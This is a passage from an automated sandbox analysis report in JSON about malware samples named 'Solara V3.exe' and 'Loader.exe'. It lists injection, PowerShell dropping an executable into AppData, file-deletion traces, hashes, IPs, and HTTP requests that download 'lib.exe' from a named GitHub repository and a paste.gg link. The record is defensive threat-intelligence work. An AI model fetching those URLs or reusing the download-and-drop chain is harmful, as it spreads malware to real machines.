\"github.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$67","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"a3bqmcq2.nsp0.exe\" has an writable section named \".data\"\n \"a3bqmcq2.nsp0.exe\" has an writable section named \".bss\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"a3bqmcq2.nsp0.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$68","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"SolaraV3.exe\" called \"NtQueueApcThread\" (UID: 00000000-00008612)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"SolaraV3.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\SolaraV3.exe.log\"\n \"SolaraV3.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\SolaraV3.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw\"\n Found http requests in header \"GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe\"\n Found http requests in header \"GET /hvaddl2h/SFR/refs/heads/main/lib.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Contains ability to interact with Microsoft Outlook","description":"Observed string: \"Microsoft.Office.Interop.Outlook\" [Source: 00000000-00008036.00000000.229990.92F00000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-196","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"raw.githubusercontent.com\" (Indicator: \"githubusercontent.com\"; File: \"PCAP\")\n Found string \"GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive\" (Indicator: \"githubusercontent.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1\nHost: paste.gg\nConnection: Keep-Alive\n\n GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe HTTP/1.1\nHost: github.com\nConnection: Keep-Alive\n\n GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1\nHost: raw.githubusercontent.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"Contains base62 string in header \"b16d3698e11c4e1dbbeedf28e4340e5d/\" in header \"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1Host: paste.ggConnection: Keep-Alive\"\n Contains base62 string in header \"ded738e3aaac405aaf9f1a7546b7350f/\" in header \"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1Host: paste.ggConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"raw.githubusercontent.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"paste.gg\" (7 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw\n Found HTTPS GET request to https://github.com/hvaddl2h/SFR/raw/refs/heads/main/lib.exe\n Found HTTPS GET request to https://raw.githubusercontent.com/hvaddl2h/SFR/refs/heads/main/lib.exe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"paste.gg\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"Solara V3.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"80238260281,6172,111,,GetSystemMetrics,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80238307611,6172,111,,GetSystemMetrics,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80242221642,6172,111,,GetSystemMetrics,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: a3bqmcq2.nsp0.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"SolaraV3.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"80237856963,6172,113,,SystemParametersInfoW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80239035285,6172,113,,SystemParametersInfoW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80237223399,6172,113,,SystemParametersInfoW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80238038379,6172,113,,SystemParametersInfoW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"SolaraV3.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"a3bqmcq2.nsp0.exe\" has section name .text with entropy \"6.597606753832848\"\n \"a3bqmcq2.nsp0.exe\" has section name .bss with entropy \"7.999494609106925\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"a3bqmcq2.nsp0.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"- Location: [%APPDATA%\\a3bqmcq2.nsp0.exe]- [targetUID: 00000000-00006164]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"powershell.exe\" wrote 16384 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\a3bqmcq2.nsp0.exe\": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e2400005045000064ff0900 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vyxoz345.unn.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pyshxyfr.esn.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2w4otofa.rph.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_naovvzqt.gx0.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetStartupInfoW\n FindFirstFileExW\n GetProcAddress\n UnhandledExceptionFilter\n TerminateProcess\n IsDebuggerPresent\n GetModuleHandleExW\n GetModuleFileNameW\n CreateFileW\n GetCommandLineW\n LoadLibraryExW\n WriteFile\n FindNextFileW\n GetModuleHandleW\n GetCommandLineA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"a3bqmcq2.nsp0.exe\" has a section named \".gxfg\"\n \"a3bqmcq2.nsp0.exe\" has a section named \".retplne\"\n \"a3bqmcq2.nsp0.exe\" has a section named \"_RDATA\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe HTTP/1.1\nHost: github.com\nConnection: Keep-Alive\n\n GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1\nHost: raw.githubusercontent.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$6a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"intel_graph":{"map":{"Domain:github.com":{"type":"Domain","value":"github.com"},"Domain:paste.gg":{"type":"Domain","value":"paste.gg"},"Domain:raw.githubusercontent.com":{"type":"Domain","value":"raw.githubusercontent.com"},"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b":{"type":"File","value":"03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b"},"File:2255846725fc431d7a3e007ddac9f5bd0f1da0e98492179928c2e12922de56af":{"type":"File","value":"2255846725fc431d7a3e007ddac9f5bd0f1da0e98492179928c2e12922de56af"},"File:3614976a0875d8943a9e10941946d757873db55b2a8f98991765020592edac0a":{"type":"File","value":"3614976a0875d8943a9e10941946d757873db55b2a8f98991765020592edac0a"},"File:6e3be4d80bbf9d445d451f44e71be8136523ece0d315b5a69dc0796622f56f73":{"type":"File","value":"6e3be4d80bbf9d445d451f44e71be8136523ece0d315b5a69dc0796622f56f73"},"File:929554ce3dce05824db131f94b55e7c9da13eecb1bab6930df0829597de692c4":{"type":"File","value":"929554ce3dce05824db131f94b55e7c9da13eecb1bab6930df0829597de692c4"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:db78072ec6bcf5a5b0647d3661b46f638e02f497130d2fa28abd1cfd3c876fc0":{"type":"File","value":"db78072ec6bcf5a5b0647d3661b46f638e02f497130d2fa28abd1cfd3c876fc0"},"Ip:104.21.72.118":{"type":"Ip","value":"104.21.72.118"},"Ip:140.82.114.3":{"type":"Ip","value":"140.82.114.3"},"Ip:172.67.183.180":{"type":"Ip","value":"172.67.183.180"},"Ip:185.199.108.133":{"type":"Ip","value":"185.199.108.133"},"Url:/hvaddl2h/SFR/raw/refs/heads/main/lib.exe":{"type":"Url","value":"/hvaddl2h/SFR/raw/refs/heads/main/lib.exe"},"Url:/hvaddl2h/SFR/refs/heads/main/lib.exe":{"type":"Url","value":"/hvaddl2h/SFR/refs/heads/main/lib.exe"},"Url:/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw":{"type":"Url","value":"/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw"}},"chains":[{"id":"sandbox_network","root":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","edges":[{"edge_kind":"contacted_ip","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Ip:172.67.183.180"},{"edge_kind":"contacted_ip","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Ip:104.21.72.118"},{"edge_kind":"contacted_ip","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Ip:140.82.114.3"},{"edge_kind":"contacted_ip","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Ip:185.199.108.133"},{"edge_kind":"contacted_domain","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Domain:paste.gg"},{"edge_kind":"resolves_to","from_key":"Domain:paste.gg","to_key":"Ip:172.67.183.180"},{"edge_kind":"contacted_domain","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Domain:github.com"},{"edge_kind":"resolves_to","from_key":"Domain:github.com","to_key":"Ip:140.82.114.3"},{"edge_kind":"contacted_domain","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Domain:raw.githubusercontent.com"},{"edge_kind":"resolves_to","from_key":"Domain:raw.githubusercontent.com","to_key":"Ip:185.199.108.133"},{"edge_kind":"contacted_url","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Url:/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw"},{"edge_kind":"contacted_url","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Url:/hvaddl2h/SFR/raw/refs/heads/main/lib.exe"},{"edge_kind":"contacted_url","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"Url:/hvaddl2h/SFR/refs/heads/main/lib.exe"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","edges":[{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:3614976a0875d8943a9e10941946d757873db55b2a8f98991765020592edac0a"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:db78072ec6bcf5a5b0647d3661b46f638e02f497130d2fa28abd1cfd3c876fc0"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:929554ce3dce05824db131f94b55e7c9da13eecb1bab6930df0829597de692c4"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:2255846725fc431d7a3e007ddac9f5bd0f1da0e98492179928c2e12922de56af"},{"edge_kind":"extracted","from_key":"File:03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","to_key":"File:6e3be4d80bbf9d445d451f44e71be8136523ece0d315b5a69dc0796622f56f73"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":48,"imported_dlls_count":146,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":18,"files_deleted_count":0,"registry_keys_created_count":43,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":43,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"67f561f1852e65e3cd0d1965","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":85,"contacted_countries":["USA"],"submit_name":"Loader.exe","analysis_start_time":"2025-04-08T17:50:41+00:00","indicators_count":{"informative":207,"suspicious":48,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"67e81f8db2c5379ba8069e66","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["NLD","USA"],"submit_name":"Solara V3.exe","analysis_start_time":"2025-03-29T16:27:58+00:00","indicators_count":{"informative":182,"suspicious":59,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.183.180","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"address":"104.21.72.118","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"address":"140.82.114.3","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"address":"185.199.108.133","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"dns_resolutions":[{"domain":"paste.gg","address":"172.67.183.180","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"domain":"github.com","address":"140.82.114.3","ttl":60,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1283.AWSDNS-32.ORG","registrar_creation_date":"2007-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"domain":"raw.githubusercontent.com","address":"185.199.108.133","ttl":110,"country":"Netherlands","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1411.AWSDNS-48.ORG","registrar_creation_date":"2014-02-06T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"http_requests":[{"host":"paste.gg","host_ip":"104.21.72.118:443","url":"/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1\nHost: paste.gg\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"host":"github.com","host_ip":"140.82.114.3:443","url":"/hvaddl2h/SFR/raw/refs/heads/main/lib.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe HTTP/1.1\nHost: github.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"host":"raw.githubusercontent.com","host_ip":"185.199.108.133:443","url":"/hvaddl2h/SFR/refs/heads/main/lib.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1\nHost: raw.githubusercontent.com\nConnection: 